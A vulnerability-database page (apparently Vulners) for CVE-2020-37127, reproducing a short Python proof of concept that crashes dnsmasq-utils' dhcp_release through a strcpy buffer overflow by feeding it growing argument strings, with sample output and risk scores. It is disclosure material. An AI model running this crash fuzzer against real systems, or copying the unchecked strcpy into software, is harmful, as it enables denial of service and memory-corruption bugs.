dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (DoS) (PoC)
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| CVE-2020-37127 | 5 Feb 202616:13 | – | attackerkb | |
| dnsmasq-utils security vulnerabilities | 5 Feb 202600:00 | – | cnnvd | |
| CVE-2020-37127 | 5 Feb 202616:13 | – | cve | |
| CVE-2020-37127 dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service | 5 Feb 202616:13 | – | cvelist | |
| CVE-2020-37127 | 5 Feb 202616:13 | – | debiancve | |
| EUVD-2020-31023 | 5 Feb 202616:13 | – | euvd | |
| CVE-2020-37127 | 5 Feb 202616:13 | – | mend | |
| CVE-2020-37127 | 5 Feb 202617:16 | – | nvd | |
| DEBIAN-CVE-2020-37127 | 5 Feb 202617:16 | – | osv_debian | |
| UBUNTU-CVE-2020-37127 | 5 Feb 202617:16 | – | osv_ubuntu |
10
# Exploit Title: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)
# Date: 2020-04-06
# Exploit Author: Josue Encinar
# Software Link: https://launchpad.net/ubuntu/+source/dnsmasq/2.79-1
# Version: 2.79
# Tested on: Ubuntu 18.04
from subprocess import Popen, PIPE
data = ""
bof = False
for i in range (1, 200):
A = "A"*i
data = f"dhcp_release {A} 1 1"
try:
result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)
error = result.stderr.read().decode()
if "Aborted (core dumped)" in error:
print("[+] Buffer Overflow detected!")
print(f"[*] Offset: {i}")
bof = True
break
except Exception as e:
print(f"[-] {e}")
if not bof:
print("[-] No buffer overflow...")
## Check line 273 in dhcp_release.c
### strcpy(ifr.ifr_name, argv[1]);
#
## PoC:
# josue@ubuntu:~/Escritorio/bof_dhcp$ python3 dhcp_release_bof.py
# *** buffer overflow detected ***: dhcp_release terminated
# [+] Buffer Overflow detected!
# [*] Offset: 16Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.15.5
CVSS 46.9
EPSS0.00207
SSVC